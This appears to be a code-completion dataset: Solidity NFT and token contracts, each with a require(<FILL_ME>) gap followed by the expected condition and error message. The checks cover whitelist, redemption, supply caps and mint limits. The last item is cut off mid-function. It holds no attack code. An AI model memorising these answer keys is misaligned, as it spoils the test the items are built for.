mapping (uint32 => bool) public generationSealed;
modifier onlyUnsealed(uint32 generation) {
require(<FILL_ME>)
_;
}
modifier onlyFrontend() {
}
function sealGeneration(uint32 generation) public onlyRole(DEFAULT_ADMIN_ROLE) onlyUnsealed(generation){
}
function _setColumnData(uint256 columnHash, bytes32[] memory data, uint offset ) internal {
}
function _setColumnMetadata(uint256 columnHash, uint columnType ) internal {
}
struct ColumnConfiguration {
uint256 columnHash;
uint256 columnType;
uint256 dataOffset;
bytes32[] data;
}
function configureData( uint32 generation, ColumnConfiguration[] calldata configs) public onlyRole(DEFAULT_ADMIN_ROLE) onlyUnsealed(generation) {
}
function idToGenerationIndex(uint256 tokenId) internal view returns (uint32 generation, uint index) {
}
uint256 public constant TOKEN_TRANSFER_COUNT_EXTENSION = 0x1;
uint256 public constant TOKEN_TRANSFER_TIME_EXTENSION = 0x2;
uint256 public constant TOKEN_REDEEMABLE_EXTENSION = 0x4;
mapping (uint => uint256) public extensions;
function enableExtensions(uint32 generation, uint256 newExtensions) public onlyRole(DEFAULT_ADMIN_ROLE) onlyUnsealed(generation) {
}
uint256 public constant TOKEN_TRANSFER_COUNT_EXTENSION_SLOT = uint256(keccak256('TOKEN_TRANSFER_COUNT_EXTENSION_SLOT'));
function initializeTokenTransferCountExtension(uint32 generation) internal {
}
function processTokenTransferCountExtension(uint32 generation, uint index) internal {
}
uint256 public constant TOKEN_TRANSFER_TIME_EXTENSION_SLOT = uint256(keccak256('TOKEN_TRANSFER_TIME_EXTENSION_SLOT'));
function initializeTokenTransferTimeExtension(uint32 generation) internal {
}
function processTokenTransferTimeExtension(uint32 generation, uint index) internal {
}
uint256 public constant TOKEN_REDEMPTION_EXTENSION_COUNT_SLOT = uint256(keccak256('TOKEN_REDEMPTION_EXTENSION_COUNT_SLOT'));
function initializeTokenRedeemableExtension(uint32 generation) internal {
}
function beforeTokenTransfer(address from, address, uint256 tokenId) public onlyFrontend override returns (bool) {
}
function redeem(uint256 tokenId) public onlyFrontend override {
}
function setRoyalties( address payable newRoyaltyAddress, uint256 newRoyaltyBps ) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function getFeeRecipients(uint256) public view override returns (address payable[] memory) {
}
function getFeeBps(uint256) public view override returns (uint256[] memory) {
}
function setURIBase(string calldata uriBase_) public onlyRole(INFRA_ROLE) {
}
mapping (uint32 => uint256) public templateIndex;
mapping (uint32 => bytes32[]) public templateData;
mapping (uint32 => bytes32[]) public templateCode;
function setLibraryTemplate(uint32 generation, uint256 which) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setCustomTemplate(uint32 generation, bytes32[] calldata _data, bytes32[] calldata _code) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function getTokenURI(uint256 tokenId, address owner) public view override returns (string memory) {
}
function getTokenMetadata(uint256 tokenId, address owner) public view returns (string memory) {
}
function createFrontend(string calldata name, string calldata symbol) public onlyRole(MINTER_ROLE) returns (address) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override( AccessControl) returns (bool) {
}
}
| !generationSealed[generation],'genration is sealed' | 39,005 | !generationSealed[generation] |
'Token is not redeemable' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
import '@openzeppelin/contracts/proxy/utils/Initializable.sol';
import '@openzeppelin/contracts/proxy/Clones.sol';
import './NamelessMetadataURIV1.sol';
import './NamelessDataV1.sol';
import './INamelessTemplateLibrary.sol';
import './INamelessToken.sol';
import './INamelessTokenData.sol';
contract NamelessTokenData is INamelessTokenData, AccessControl, Initializable {
bytes32 public constant INFRA_ROLE = keccak256('INFRA_ROLE');
bytes32 public constant MINTER_ROLE = keccak256('MINTER_ROLE');
address private _templateLibrary;
string private _uriBase;
address public clonableTokenAddress;
address public frontendAddress;
address payable public royaltyAddress;
uint256 public royaltyBps;
uint256 public maxGenerationSize;
function initialize (
address templateLibrary_,
address clonableTokenAddress_,
address initialAdmin,
uint256 maxGenerationSize_
) public override initializer {
}
constructor(
address templateLibrary_,
address clonableTokenAddress_,
uint256 maxGenerationSize_
) {
}
mapping (uint32 => bool) public generationSealed;
modifier onlyUnsealed(uint32 generation) {
}
modifier onlyFrontend() {
}
function sealGeneration(uint32 generation) public onlyRole(DEFAULT_ADMIN_ROLE) onlyUnsealed(generation){
}
function _setColumnData(uint256 columnHash, bytes32[] memory data, uint offset ) internal {
}
function _setColumnMetadata(uint256 columnHash, uint columnType ) internal {
}
struct ColumnConfiguration {
uint256 columnHash;
uint256 columnType;
uint256 dataOffset;
bytes32[] data;
}
function configureData( uint32 generation, ColumnConfiguration[] calldata configs) public onlyRole(DEFAULT_ADMIN_ROLE) onlyUnsealed(generation) {
}
function idToGenerationIndex(uint256 tokenId) internal view returns (uint32 generation, uint index) {
}
uint256 public constant TOKEN_TRANSFER_COUNT_EXTENSION = 0x1;
uint256 public constant TOKEN_TRANSFER_TIME_EXTENSION = 0x2;
uint256 public constant TOKEN_REDEEMABLE_EXTENSION = 0x4;
mapping (uint => uint256) public extensions;
function enableExtensions(uint32 generation, uint256 newExtensions) public onlyRole(DEFAULT_ADMIN_ROLE) onlyUnsealed(generation) {
}
uint256 public constant TOKEN_TRANSFER_COUNT_EXTENSION_SLOT = uint256(keccak256('TOKEN_TRANSFER_COUNT_EXTENSION_SLOT'));
function initializeTokenTransferCountExtension(uint32 generation) internal {
}
function processTokenTransferCountExtension(uint32 generation, uint index) internal {
}
uint256 public constant TOKEN_TRANSFER_TIME_EXTENSION_SLOT = uint256(keccak256('TOKEN_TRANSFER_TIME_EXTENSION_SLOT'));
function initializeTokenTransferTimeExtension(uint32 generation) internal {
}
function processTokenTransferTimeExtension(uint32 generation, uint index) internal {
}
uint256 public constant TOKEN_REDEMPTION_EXTENSION_COUNT_SLOT = uint256(keccak256('TOKEN_REDEMPTION_EXTENSION_COUNT_SLOT'));
function initializeTokenRedeemableExtension(uint32 generation) internal {
}
function beforeTokenTransfer(address from, address, uint256 tokenId) public onlyFrontend override returns (bool) {
}
function redeem(uint256 tokenId) public onlyFrontend override {
(uint32 generation, uint index) = idToGenerationIndex(tokenId);
require(<FILL_ME>)
uint256[65535] storage redemptionCount;
uint generationalSlot = NamelessDataV1.getGenerationalSlot(TOKEN_REDEMPTION_EXTENSION_COUNT_SLOT, generation);
uint256 redemptionCountSlot = generationalSlot + 1;
// solhint-disable-next-line no-inline-assembly
assembly {
redemptionCount.slot := redemptionCountSlot
}
redemptionCount[index] = redemptionCount[index] + 1;
}
function setRoyalties( address payable newRoyaltyAddress, uint256 newRoyaltyBps ) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function getFeeRecipients(uint256) public view override returns (address payable[] memory) {
}
function getFeeBps(uint256) public view override returns (uint256[] memory) {
}
function setURIBase(string calldata uriBase_) public onlyRole(INFRA_ROLE) {
}
mapping (uint32 => uint256) public templateIndex;
mapping (uint32 => bytes32[]) public templateData;
mapping (uint32 => bytes32[]) public templateCode;
function setLibraryTemplate(uint32 generation, uint256 which) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setCustomTemplate(uint32 generation, bytes32[] calldata _data, bytes32[] calldata _code) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function getTokenURI(uint256 tokenId, address owner) public view override returns (string memory) {
}
function getTokenMetadata(uint256 tokenId, address owner) public view returns (string memory) {
}
function createFrontend(string calldata name, string calldata symbol) public onlyRole(MINTER_ROLE) returns (address) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override( AccessControl) returns (bool) {
}
}
| extensions[generation]&TOKEN_REDEEMABLE_EXTENSION!=0,'Token is not redeemable' | 39,005 | extensions[generation]&TOKEN_REDEEMABLE_EXTENSION!=0 |
"Cannot reduce collection size less than current count" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract PCC_POAP_Claim is ERC721, Ownable, ReentrancyGuard, Pausable, ERC721Enumerable {
using Counters for Counters.Counter;
using Strings for uint256;
using SafeMath for uint256;
mapping(address => bool)[50] public Whitelist;
mapping(address => bool)[50] public AddressRedeemed;
string[50] ImageHashes;
uint256[] public ImageOffset = [0, 500];
uint256 private tokenCount;
Counters.Counter[50] private _tokenCounter;
Counters.Counter private _collectionCount;
string public BaseUri = "ipfs://";
constructor() ERC721("Non Fungible Idiots","NFI") {
}
function collectionTotalSupply(uint256 _index) public view tokenExists(_index) returns(uint256) {
}
function addWhitelist(uint256 index, address[] memory addresses) public onlyOwner tokenExists(index) {
}
function adjustLastCollectionSize(uint256 _newSize) public onlyOwner{
uint256 index = ImageOffset.length.sub(2);
require(<FILL_ME>)
ImageOffset[index.add(1)] = ImageOffset[index].add(_newSize);
}
function addNewCollection(uint256 _size, string memory _hash) public onlyOwner {
}
function updateCollectionHash(uint256 _index, string memory _hash) public onlyOwner tokenExists(_index){
}
function updateBaseUri(string memory _uri) public onlyOwner{
}
function redeemGift(uint256 index) public nonReentrant whenNotPaused tokenExists(index) {
}
function devMint(uint256 index, uint256 quantity, address _to) public nonReentrant onlyOwner tokenExists(index){
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721)
returns (string memory)
{
}
function getIndex(uint256 _tokenId) private view returns(uint256){
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
whenNotPaused
override(ERC721, ERC721Enumerable)
{
}
function claimStatus(uint256 index, address addy) public view returns(bool canClaim, bool hasClaimed) {
}
function totalSupply() public override view returns(uint256 supply){
}
function tokenTotalSupply(uint256 tokenId) public view tokenExists(tokenId) returns(uint256){
}
function togglePause() public onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
modifier tokenExists(uint256 tokenId) {
}
}
| _tokenCounter[index].current()<=_newSize,"Cannot reduce collection size less than current count" | 39,031 | _tokenCounter[index].current()<=_newSize |
"Address not on whitelist" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract PCC_POAP_Claim is ERC721, Ownable, ReentrancyGuard, Pausable, ERC721Enumerable {
using Counters for Counters.Counter;
using Strings for uint256;
using SafeMath for uint256;
mapping(address => bool)[50] public Whitelist;
mapping(address => bool)[50] public AddressRedeemed;
string[50] ImageHashes;
uint256[] public ImageOffset = [0, 500];
uint256 private tokenCount;
Counters.Counter[50] private _tokenCounter;
Counters.Counter private _collectionCount;
string public BaseUri = "ipfs://";
constructor() ERC721("Non Fungible Idiots","NFI") {
}
function collectionTotalSupply(uint256 _index) public view tokenExists(_index) returns(uint256) {
}
function addWhitelist(uint256 index, address[] memory addresses) public onlyOwner tokenExists(index) {
}
function adjustLastCollectionSize(uint256 _newSize) public onlyOwner{
}
function addNewCollection(uint256 _size, string memory _hash) public onlyOwner {
}
function updateCollectionHash(uint256 _index, string memory _hash) public onlyOwner tokenExists(_index){
}
function updateBaseUri(string memory _uri) public onlyOwner{
}
function redeemGift(uint256 index) public nonReentrant whenNotPaused tokenExists(index) {
require(<FILL_ME>)
require(!AddressRedeemed[index][msg.sender], "Address has already redeemed");
require(_tokenCounter[index].current().add(ImageOffset[index]) < ImageOffset[index+1], "Cannot redeem this many tokens");
_tokenCounter[index].increment();
_mint(msg.sender, _tokenCounter[index].current().add(ImageOffset[index]));
AddressRedeemed[index][msg.sender] = true;
tokenCount++;
}
function devMint(uint256 index, uint256 quantity, address _to) public nonReentrant onlyOwner tokenExists(index){
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721)
returns (string memory)
{
}
function getIndex(uint256 _tokenId) private view returns(uint256){
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
whenNotPaused
override(ERC721, ERC721Enumerable)
{
}
function claimStatus(uint256 index, address addy) public view returns(bool canClaim, bool hasClaimed) {
}
function totalSupply() public override view returns(uint256 supply){
}
function tokenTotalSupply(uint256 tokenId) public view tokenExists(tokenId) returns(uint256){
}
function togglePause() public onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
modifier tokenExists(uint256 tokenId) {
}
}
| Whitelist[index][msg.sender],"Address not on whitelist" | 39,031 | Whitelist[index][msg.sender] |
"Address has already redeemed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract PCC_POAP_Claim is ERC721, Ownable, ReentrancyGuard, Pausable, ERC721Enumerable {
using Counters for Counters.Counter;
using Strings for uint256;
using SafeMath for uint256;
mapping(address => bool)[50] public Whitelist;
mapping(address => bool)[50] public AddressRedeemed;
string[50] ImageHashes;
uint256[] public ImageOffset = [0, 500];
uint256 private tokenCount;
Counters.Counter[50] private _tokenCounter;
Counters.Counter private _collectionCount;
string public BaseUri = "ipfs://";
constructor() ERC721("Non Fungible Idiots","NFI") {
}
function collectionTotalSupply(uint256 _index) public view tokenExists(_index) returns(uint256) {
}
function addWhitelist(uint256 index, address[] memory addresses) public onlyOwner tokenExists(index) {
}
function adjustLastCollectionSize(uint256 _newSize) public onlyOwner{
}
function addNewCollection(uint256 _size, string memory _hash) public onlyOwner {
}
function updateCollectionHash(uint256 _index, string memory _hash) public onlyOwner tokenExists(_index){
}
function updateBaseUri(string memory _uri) public onlyOwner{
}
function redeemGift(uint256 index) public nonReentrant whenNotPaused tokenExists(index) {
require(Whitelist[index][msg.sender], "Address not on whitelist");
require(<FILL_ME>)
require(_tokenCounter[index].current().add(ImageOffset[index]) < ImageOffset[index+1], "Cannot redeem this many tokens");
_tokenCounter[index].increment();
_mint(msg.sender, _tokenCounter[index].current().add(ImageOffset[index]));
AddressRedeemed[index][msg.sender] = true;
tokenCount++;
}
function devMint(uint256 index, uint256 quantity, address _to) public nonReentrant onlyOwner tokenExists(index){
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721)
returns (string memory)
{
}
function getIndex(uint256 _tokenId) private view returns(uint256){
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
whenNotPaused
override(ERC721, ERC721Enumerable)
{
}
function claimStatus(uint256 index, address addy) public view returns(bool canClaim, bool hasClaimed) {
}
function totalSupply() public override view returns(uint256 supply){
}
function tokenTotalSupply(uint256 tokenId) public view tokenExists(tokenId) returns(uint256){
}
function togglePause() public onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
modifier tokenExists(uint256 tokenId) {
}
}
| !AddressRedeemed[index][msg.sender],"Address has already redeemed" | 39,031 | !AddressRedeemed[index][msg.sender] |
"Cannot redeem this many tokens" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract PCC_POAP_Claim is ERC721, Ownable, ReentrancyGuard, Pausable, ERC721Enumerable {
using Counters for Counters.Counter;
using Strings for uint256;
using SafeMath for uint256;
mapping(address => bool)[50] public Whitelist;
mapping(address => bool)[50] public AddressRedeemed;
string[50] ImageHashes;
uint256[] public ImageOffset = [0, 500];
uint256 private tokenCount;
Counters.Counter[50] private _tokenCounter;
Counters.Counter private _collectionCount;
string public BaseUri = "ipfs://";
constructor() ERC721("Non Fungible Idiots","NFI") {
}
function collectionTotalSupply(uint256 _index) public view tokenExists(_index) returns(uint256) {
}
function addWhitelist(uint256 index, address[] memory addresses) public onlyOwner tokenExists(index) {
}
function adjustLastCollectionSize(uint256 _newSize) public onlyOwner{
}
function addNewCollection(uint256 _size, string memory _hash) public onlyOwner {
}
function updateCollectionHash(uint256 _index, string memory _hash) public onlyOwner tokenExists(_index){
}
function updateBaseUri(string memory _uri) public onlyOwner{
}
function redeemGift(uint256 index) public nonReentrant whenNotPaused tokenExists(index) {
require(Whitelist[index][msg.sender], "Address not on whitelist");
require(!AddressRedeemed[index][msg.sender], "Address has already redeemed");
require(<FILL_ME>)
_tokenCounter[index].increment();
_mint(msg.sender, _tokenCounter[index].current().add(ImageOffset[index]));
AddressRedeemed[index][msg.sender] = true;
tokenCount++;
}
function devMint(uint256 index, uint256 quantity, address _to) public nonReentrant onlyOwner tokenExists(index){
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721)
returns (string memory)
{
}
function getIndex(uint256 _tokenId) private view returns(uint256){
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
whenNotPaused
override(ERC721, ERC721Enumerable)
{
}
function claimStatus(uint256 index, address addy) public view returns(bool canClaim, bool hasClaimed) {
}
function totalSupply() public override view returns(uint256 supply){
}
function tokenTotalSupply(uint256 tokenId) public view tokenExists(tokenId) returns(uint256){
}
function togglePause() public onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
modifier tokenExists(uint256 tokenId) {
}
}
| _tokenCounter[index].current().add(ImageOffset[index])<ImageOffset[index+1],"Cannot redeem this many tokens" | 39,031 | _tokenCounter[index].current().add(ImageOffset[index])<ImageOffset[index+1] |
"Cannot redeem this many tokens" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract PCC_POAP_Claim is ERC721, Ownable, ReentrancyGuard, Pausable, ERC721Enumerable {
using Counters for Counters.Counter;
using Strings for uint256;
using SafeMath for uint256;
mapping(address => bool)[50] public Whitelist;
mapping(address => bool)[50] public AddressRedeemed;
string[50] ImageHashes;
uint256[] public ImageOffset = [0, 500];
uint256 private tokenCount;
Counters.Counter[50] private _tokenCounter;
Counters.Counter private _collectionCount;
string public BaseUri = "ipfs://";
constructor() ERC721("Non Fungible Idiots","NFI") {
}
function collectionTotalSupply(uint256 _index) public view tokenExists(_index) returns(uint256) {
}
function addWhitelist(uint256 index, address[] memory addresses) public onlyOwner tokenExists(index) {
}
function adjustLastCollectionSize(uint256 _newSize) public onlyOwner{
}
function addNewCollection(uint256 _size, string memory _hash) public onlyOwner {
}
function updateCollectionHash(uint256 _index, string memory _hash) public onlyOwner tokenExists(_index){
}
function updateBaseUri(string memory _uri) public onlyOwner{
}
function redeemGift(uint256 index) public nonReentrant whenNotPaused tokenExists(index) {
}
function devMint(uint256 index, uint256 quantity, address _to) public nonReentrant onlyOwner tokenExists(index){
require(<FILL_ME>)
for(uint256 i; i < quantity; i++){
_tokenCounter[index].increment();
_mint(_to, _tokenCounter[index].current().add(ImageOffset[index]));
}
tokenCount = tokenCount.add(quantity);
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721)
returns (string memory)
{
}
function getIndex(uint256 _tokenId) private view returns(uint256){
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
whenNotPaused
override(ERC721, ERC721Enumerable)
{
}
function claimStatus(uint256 index, address addy) public view returns(bool canClaim, bool hasClaimed) {
}
function totalSupply() public override view returns(uint256 supply){
}
function tokenTotalSupply(uint256 tokenId) public view tokenExists(tokenId) returns(uint256){
}
function togglePause() public onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
modifier tokenExists(uint256 tokenId) {
}
}
| _tokenCounter[index].current().add(quantity+ImageOffset[index])<=ImageOffset[index+1],"Cannot redeem this many tokens" | 39,031 | _tokenCounter[index].current().add(quantity+ImageOffset[index])<=ImageOffset[index+1] |
"The allocated free supply has been minted out." | // SPDX-License-Identifier: MIT
// _____ _ __ __ _
// | __ \ | | | \/ | | |
// | | | | __ _| |_ ___ | \ / | __ _| |_ ___ ___
// | | | |/ _` | __/ _ \ | |\/| |/ _` | __/ _ \/ __|
// | |__| | (_| | || __/ | | | | (_| | || __/\__ \
// |_____/ \__,_|\__\___| |_| |_|\__,_|\__\___||___/
//
// by Jeffrey Mann
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./ERC721A.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract DateMates is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
string public previewUrl;
string public baseURI;
string public provenance;
string public baseExtension = ".json";
uint256 public cost = 0.02 ether;
uint256 public maxSupply = 4000;
uint256 public maxMintsPerWallet = 30;
uint256 public freeQuota = 1500;
bool public paused = true;
event Created(
uint indexed count,
address acc
);
constructor(
string memory _name,
string memory _symbol,
string memory _baseURIString,
uint256 _maxBatchSize,
uint256 _collectionSize
) ERC721A(_name, _symbol, _maxBatchSize, _collectionSize) {
}
function freeMint(uint256 _mintAmount)
external
payable
{
uint256 supply = totalSupply();
require(!paused, "Contract must be unpaused before minting");
require(<FILL_ME>)
require(numberMinted(msg.sender) + _mintAmount <= 3, "Oh-oh. Max mints during the free stage is 3.");
_safeMint(msg.sender, _mintAmount);
emit Created(_mintAmount, msg.sender);
}
function mint(uint256 _mintAmount)
external
payable
{
}
function devMint(uint256 _mintAmount)
external
payable
onlyOwner
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
//
// Owner Functions
//
function setCost(uint256 _newCost) external onlyOwner {
}
function setFreeQuota(uint256 _freeQuota) external onlyOwner {
}
function setProvenance(string memory _provenance) public onlyOwner {
}
function setPreviewUrl(string memory _previewUrl) public onlyOwner {
}
function lowerSupply(uint256 _newMaxSupply) external onlyOwner {
}
function setMaxMintsPerWallet(uint256 _maxMintsPerWallet) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
}
| supply+_mintAmount<=freeQuota,"The allocated free supply has been minted out." | 39,092 | supply+_mintAmount<=freeQuota |
"Oh-oh. Max mints during the free stage is 3." | // SPDX-License-Identifier: MIT
// _____ _ __ __ _
// | __ \ | | | \/ | | |
// | | | | __ _| |_ ___ | \ / | __ _| |_ ___ ___
// | | | |/ _` | __/ _ \ | |\/| |/ _` | __/ _ \/ __|
// | |__| | (_| | || __/ | | | | (_| | || __/\__ \
// |_____/ \__,_|\__\___| |_| |_|\__,_|\__\___||___/
//
// by Jeffrey Mann
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./ERC721A.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract DateMates is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
string public previewUrl;
string public baseURI;
string public provenance;
string public baseExtension = ".json";
uint256 public cost = 0.02 ether;
uint256 public maxSupply = 4000;
uint256 public maxMintsPerWallet = 30;
uint256 public freeQuota = 1500;
bool public paused = true;
event Created(
uint indexed count,
address acc
);
constructor(
string memory _name,
string memory _symbol,
string memory _baseURIString,
uint256 _maxBatchSize,
uint256 _collectionSize
) ERC721A(_name, _symbol, _maxBatchSize, _collectionSize) {
}
function freeMint(uint256 _mintAmount)
external
payable
{
uint256 supply = totalSupply();
require(!paused, "Contract must be unpaused before minting");
require(supply + _mintAmount <= freeQuota, "The allocated free supply has been minted out.");
require(<FILL_ME>)
_safeMint(msg.sender, _mintAmount);
emit Created(_mintAmount, msg.sender);
}
function mint(uint256 _mintAmount)
external
payable
{
}
function devMint(uint256 _mintAmount)
external
payable
onlyOwner
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
//
// Owner Functions
//
function setCost(uint256 _newCost) external onlyOwner {
}
function setFreeQuota(uint256 _freeQuota) external onlyOwner {
}
function setProvenance(string memory _provenance) public onlyOwner {
}
function setPreviewUrl(string memory _previewUrl) public onlyOwner {
}
function lowerSupply(uint256 _newMaxSupply) external onlyOwner {
}
function setMaxMintsPerWallet(uint256 _maxMintsPerWallet) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
}
| numberMinted(msg.sender)+_mintAmount<=3,"Oh-oh. Max mints during the free stage is 3." | 39,092 | numberMinted(msg.sender)+_mintAmount<=3 |
"Maximum minted per address exceeded. Only 30 max mints per account are allowed." | // SPDX-License-Identifier: MIT
// _____ _ __ __ _
// | __ \ | | | \/ | | |
// | | | | __ _| |_ ___ | \ / | __ _| |_ ___ ___
// | | | |/ _` | __/ _ \ | |\/| |/ _` | __/ _ \/ __|
// | |__| | (_| | || __/ | | | | (_| | || __/\__ \
// |_____/ \__,_|\__\___| |_| |_|\__,_|\__\___||___/
//
// by Jeffrey Mann
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./ERC721A.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract DateMates is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
string public previewUrl;
string public baseURI;
string public provenance;
string public baseExtension = ".json";
uint256 public cost = 0.02 ether;
uint256 public maxSupply = 4000;
uint256 public maxMintsPerWallet = 30;
uint256 public freeQuota = 1500;
bool public paused = true;
event Created(
uint indexed count,
address acc
);
constructor(
string memory _name,
string memory _symbol,
string memory _baseURIString,
uint256 _maxBatchSize,
uint256 _collectionSize
) ERC721A(_name, _symbol, _maxBatchSize, _collectionSize) {
}
function freeMint(uint256 _mintAmount)
external
payable
{
}
function mint(uint256 _mintAmount)
external
payable
{
uint256 supply = totalSupply();
require(!paused, "Contract must be unpaused before minting");
require(supply + _mintAmount <= maxSupply, "Max supply has been minted.");
require(msg.value >= cost * _mintAmount);
require(_mintAmount <= 10, "Max mint amount per transaction exceeded");
require(<FILL_ME>)
_safeMint(msg.sender, _mintAmount);
emit Created(_mintAmount, msg.sender);
}
function devMint(uint256 _mintAmount)
external
payable
onlyOwner
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
//
// Owner Functions
//
function setCost(uint256 _newCost) external onlyOwner {
}
function setFreeQuota(uint256 _freeQuota) external onlyOwner {
}
function setProvenance(string memory _provenance) public onlyOwner {
}
function setPreviewUrl(string memory _previewUrl) public onlyOwner {
}
function lowerSupply(uint256 _newMaxSupply) external onlyOwner {
}
function setMaxMintsPerWallet(uint256 _maxMintsPerWallet) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
}
| numberMinted(msg.sender)+_mintAmount<=maxMintsPerWallet,"Maximum minted per address exceeded. Only 30 max mints per account are allowed." | 39,092 | numberMinted(msg.sender)+_mintAmount<=maxMintsPerWallet |
'LotManagerV2Migrable::_migrate::migrate-pool-discrepancy' | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.8;
import '@openzeppelin/contracts/math/SafeMath.sol';
import '../../../interfaces/LotManager/ILotManagerMetadata.sol';
import '../../../interfaces/LotManager/V2/ILotManagerV2ProtocolParameters.sol';
import '../../../interfaces/LotManager/V2/ILotManagerV2Migrable.sol';
import './LotManagerV2ProtocolParameters.sol';
abstract
contract LotManagerV2Migrable is
LotManagerV2ProtocolParameters,
ILotManagerV2Migrable {
function _migrate(address _newLotManager) internal {
